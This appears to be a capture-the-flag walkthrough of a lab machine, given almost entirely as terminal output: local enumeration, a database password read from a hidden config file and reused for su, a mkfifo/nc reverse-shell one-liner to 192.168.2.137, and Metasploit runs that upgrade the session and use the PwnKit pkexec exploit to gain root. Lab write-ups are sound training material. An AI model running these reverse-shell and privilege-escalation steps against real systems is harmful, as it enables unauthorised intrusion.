Privilege Escalation
jubiscleudo@ubuntu20:~$ sudo -l
[sudo] password for jubiscleudo:
Sorry, user jubiscleudo may not run sudo on ubuntu20.
jubiscleudo@ubuntu20:~$ ls -la
total 32
drwxr-x--- 3 jubiscleudo jubiscleudo 4096 Apr 29 2021 .
drwxr-xr-x 4 root root 4096 Apr 29 2021 ..
-rw------- 1 jubiscleudo jubiscleudo 5 Apr 29 2021 .bash_history
-rw-r--r-- 1 jubiscleudo jubiscleudo 220 Apr 29 2021 .bash_logout
-rw-r--r-- 1 jubiscleudo jubiscleudo 3771 Apr 29 2021 .bashrc
drwx------ 2 jubiscleudo jubiscleudo 4096 Apr 29 2021 .cache
-rw-r--r-- 1 jubiscleudo jubiscleudo 807 Apr 29 2021 .profile
-rw-r--r-- 1 jubiscleudo jubiscleudo 2984 Apr 27 2021 .user.txt
jubiscleudo@ubuntu20:~$ cat .user.txt
% ,%&&%#.
% *&&&%&&%&&&&%
% &&&& .%&&&
% && %&&&
% /&&& &&&.
% %&%/ %&&&*
% .& (%%(, ,(&&&* %&&
% &&% %&&&&&&&&&&%&%# &&&
% &&&%&&&&&& #&&&%&&&* &&&%&&&%
% &&&%&&&%&&&%&& /&&&%&&&%&&&%&&
% &&&%&&&% &&&%&&&%
% %&&&%&&& /&&&%&&&%&
% &.%&&&% %&&&% &&&%& %&/*&
% &&&%&&&%&& %&&&%# %%&&&% %&&&%&&&%&
% /&%&/ *&&&%&& %&&&%&&%& &&&%&&. %&&&.
% &&&% &&&%& %%%% .&&&
% &&&% &&&
% %&&&. *&%&&&%&&&%&&&%&&&%&&&%&&&%&&&&%&& /&&&(
% /&& #&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&* %&&
% &&&% ,&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&& %&%
% &&& %&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&& %&&
% &&& &&&%&&&%&&&%&&&%&%& %&&&%&&&%&&&%& &&&
% %&&&% &&&%&&&%&&&%&&&%& &&&%&&&%&&&%&% &%
% &&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&
% &%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%
% &&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&
% *&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&
% &&&%&&&%&&&%&&&%&&&%&&&%&&&%&&&%&&
% #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(
invite-me: https://www.linkedin.com/in/eliastouguinho/
jubiscleudo@ubuntu20:~$ cat .bash_history
exit
jubiscleudo@ubuntu20:~$ find / -type f -perm -4000 -ls 2>/dev/null
918199 88 -rwsr-xr-x 1 root root 88496 Jan 7 2021 /usr/bin/gpasswd
918181 40 -rwsr-xr-x 1 root root 39144 Mar 23 2021 /usr/bin/fusermount
918068 84 -rwsr-xr-x 1 root root 85064 Jan 7 2021 /usr/bin/chfn
918345 44 -rwsr-xr-x 1 root root 44784 Jan 7 2021 /usr/bin/newgrp
918074 52 -rwsr-xr-x 1 root root 53040 Jan 7 2021 /usr/bin/chsh
918677 40 -rwsr-xr-x 1 root root 39296 Feb 26 2021 /usr/bin/umount
918606 72 -rwsr-xr-x 1 root root 72072 Feb 26 2021 /usr/bin/su
918399 32 -rwsr-xr-x 1 root root 31032 Feb 4 2021 /usr/bin/pkexec
918331 56 -rwsr-xr-x 1 root root 55680 Feb 26 2021 /usr/bin/mount
918378 72 -rwsr-xr-x 1 root root 72304 Jan 7 2021 /usr/bin/passwd
918607 188 -rwsr-xr-x 1 root root 190952 Feb 18 2021 /usr/bin/sudo
923773 124 -rwsr-xr-x 1 root root 126024 Mar 30 2021 /usr/lib/snapd/snap-confine
919103 296 -rwsr-xr-x 1 root root 301512 Mar 23 2021 /usr/lib/openssh/ssh-keysign
918896 52 -rwsr-xr-- 1 root messagebus 51496 Feb 26 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
924416 24 -rwsr-xr-x 1 root root 22840 Feb 4 2021 /usr/libexec/polkit-agent-helper-1
798 84 -rwsr-xr-x 1 root root 85064 May 28 2020 /snap/core20/1026/usr/bin/chfn
804 52 -rwsr-xr-x 1 root root 53040 May 28 2020 /snap/core20/1026/usr/bin/chsh
873 87 -rwsr-xr-x 1 root root 88464 May 28 2020 /snap/core20/1026/usr/bin/gpasswd
957 55 -rwsr-xr-x 1 root root 55528 Jul 21 2020 /snap/core20/1026/usr/bin/mount
966 44 -rwsr-xr-x 1 root root 44784 May 28 2020 /snap/core20/1026/usr/bin/newgrp
979 67 -rwsr-xr-x 1 root root 68208 May 28 2020 /snap/core20/1026/usr/bin/passwd
1088 67 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /snap/core20/1026/usr/bin/su
1089 163 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /snap/core20/1026/usr/bin/sudo
1147 39 -rwsr-xr-x 1 root root 39144 Jul 21 2020 /snap/core20/1026/usr/bin/umount
jubiscleudo@ubuntu20:~$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1891 Apr 29 2021 /etc/passwd
jubiscleudo@ubuntu20:~$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/traceroute6.iputils cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/snap/core20/1026/usr/bin/ping cap_net_raw=ep
jubiscleudo@ubuntu20:~$ ls -la ..
total 16
drwxr-xr-x 4 root root 4096 Apr 29 2021 .
drwxr-xr-x 21 root root 4096 Apr 29 2021 ..
drwxr-x--- 3 hackable_3 hackable_3 4096 Apr 29 2021 hackable_3
drwxr-x--- 3 jubiscleudo jubiscleudo 4096 Apr 29 2021 jubiscleudo
jubiscleudo@ubuntu20:~$ ls -la /var/www/html/
total 124
drwxr-xr-x 8 root root 4096 Jun 30 2021 .
drwxr-xr-x 3 root root 4096 Apr 29 2021 ..
-rw-r--r-- 1 www-data www-data 61259 Apr 21 2021 3.jpg
drwxr-xr-x 2 www-data www-data 4096 Apr 23 2021 backup
-r-xr-xr-x 1 www-data www-data 522 Apr 29 2021 .backup_config.php
drwxr-xr-x 2 www-data www-data 4096 Apr 29 2021 config
-rw-r--r-- 1 www-data www-data 507 Apr 23 2021 config.php
drwxr-xr-x 2 www-data www-data 4096 Apr 21 2021 css
-rw-r--r-- 1 www-data www-data 11327 Jun 30 2021 home.html
drwxr-xr-x 2 www-data www-data 4096 Apr 21 2021 imagens
-rw-r--r-- 1 www-data www-data 1095 Jun 30 2021 index.html
drwxr-xr-x 2 www-data www-data 4096 Apr 20 2021 js
drwxr-xr-x 5 www-data www-data 4096 Jun 30 2021 login_page
-rw-r--r-- 1 www-data www-data 487 Apr 23 2021 login.php
-rw-r--r-- 1 www-data www-data 33 Apr 21 2021 robots.txt
jubiscleudo@ubuntu20:~$ ss -atlpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
jubiscleudo@ubuntu20:~$ uname -a
Linux ubuntu20 5.11.0-16-generic #17-Ubuntu SMP Wed Apr 14 20:12:43 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
jubiscleudo@ubuntu20:/var/www/html$ cat .backup_config.php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'hackable_3');
define('DB_PASSWORD', 'TrOLLED_3');
define('DB_NAME', 'hackable');
jubiscleudo@ubuntu20:/var/www/html$ su hackable_3
Password:
hackable_3@ubuntu20:/var/www/html$
hackable_3@ubuntu20:/var/www/html$ sudo -l
[sudo] password for hackable_3:
Sorry, user hackable_3 may not run sudo on ubuntu20.
┌──(root㉿cyber)-[~]
└─# msfconsole
_---------.
.' ####### ;."
.---,. ;@ @@`; .---,..
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
"--'.@@@ -.@ @ ,'- .'--"
".@' ; @ @ `. ;'
|@@@@ @@@ @ .
' @@@ @@ @@ ,
`.@@@@ @@ .
',@@ @ ; _____________
( 3 C ) /|\___ / Metasploit! \
;@'. __*__,." \|--- \_____________/
'(.,...."/
=[ metasploit v6.3.16-dev ]
+ -- --=[ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:4444
[*] Command shell session 1 opened (192.168.2.137:4444 -> 192.168.2.138:39880) at 2023-06-15 00:44:09 +0200
Shell Banner:
$
-----
$
----------------------
hackable_3@ubuntu20:/tmp$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 4444 >/tmp/f
----------------------
msf6 exploit(multi/handler) > search shell to meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lhost eth0
lhost => 192.168.2.137
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connect
ion
LHOST 192.168.2.137 no IP of host that will receive the connection from the
payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION 1 yes The session to run this module on
View the full module info with the info, or info -d command.
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.138
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.138:47120) at 2023-06-15 00:47:42 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the avail
able exploits
View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.138 - Collecting local exploits for x86/linux...
[*] 192.168.2.138 - 184 exploit checks are being tried...
[+] 192.168.2.138 - exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe: The target appears to be vulnerable.
[+] 192.168.2.138 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.138 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.11.0
[+] 192.168.2.138 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.137 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 x86_64
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5858
lport => 5858
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.137:5858
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.krkfoiadvrn
[+] The target is vulnerable.
[*] Writing '/tmp/.hldqgjuowbu/fkshdw/fkshdw.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.hldqgjuowbu
[*] Sending stage (3045348 bytes) to 192.168.2.138
[+] Deleted /tmp/.hldqgjuowbu/fkshdw/fkshdw.so
[+] Deleted /tmp/.hldqgjuowbu/.vfxobui
[+] Deleted /tmp/.hldqgjuowbu
[*] Meterpreter session 3 opened (192.168.2.137:5858 -> 192.168.2.138:35000) at 2023-06-15 00:52:03 +0200
cve_2021_4034_pwnkit_lpe_pkexec --> R00t
Process 2389 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd),1000(hackable_3)
ls
knockrestart.sh
root.txt
snap
cat root.txt
░░█▀░░░░░░░░░░░▀▀███████░░░░
░░█▌░░░░░░░░░░░░░░░▀██████░░░
░█▌░░░░░░░░░░░░░░░░███████▌░░
░█░░░░░░░░░░░░░░░░░████████░░
▐▌░░░░░░░░░░░░░░░░░▀██████▌░░
░▌▄███▌░░░░▀████▄░░░░▀████▌░░
▐▀▀▄█▄░▌░░░▄██▄▄▄▀░░░░████▄▄░
▐░▀░░═▐░░░░░░══░░▀░░░░▐▀░▄▀▌▌
▐░░░░░▌░░░░░░░░░░░░░░░▀░▀░░▌▌
▐░░░▄▀░░░▀░▌░░░░░░░░░░░░▌█░▌▌
░▌░░▀▀▄▄▀▀▄▌▌░░░░░░░░░░▐░▀▐▐░
░▌░░▌░▄▄▄▄░░░▌░░░░░░░░▐░░▀▐░░
░█░▐▄██████▄░▐░░░░░░░░█▀▄▄▀░░
░▐░▌▌░░░░░░▀▀▄▐░░░░░░█▌░░░░░░
░░█░░▄▀▀▀▀▄░▄═╝▄░░░▄▀░▌░░░░░░
░░░▌▐░░░░░░▌░▀▀░░▄▀░░▐░░░░░░░
░░░▀▄░░░░░░░░░▄▀▀░░░░█░░░░░░░
░░░▄█▄▄▄▄▄▄▄▀▀░░░░░░░▌▌░░░░░░
░░▄▀▌▀▌░░░░░░░░░░░░░▄▀▀▄░░░░░
▄▀░░▌░▀▄░░░░░░░░░░▄▀░░▌░▀▄░░░
░░░░▌█▄▄▀▄░░░░░░▄▀░░░░▌░░░▌▄▄
░░░▄▐██████▄▄░▄▀░░▄▄▄▄▌░░░░▄░
░▄▀░████████▄▄▄███████▌▀▄░░░░░▄
▀░░░█████▀▀░░░▀███████░░░▀▄░░░
░░░░▐█▀░░░▐░░░░░▀████▌░░░░▀▄░
░░░░░░▌░░░▐░░░░▐░░▀▀█░░░░░░░▀
░░░░░░▐░░░░▌░░░▐░░░░░▌░░░░░░░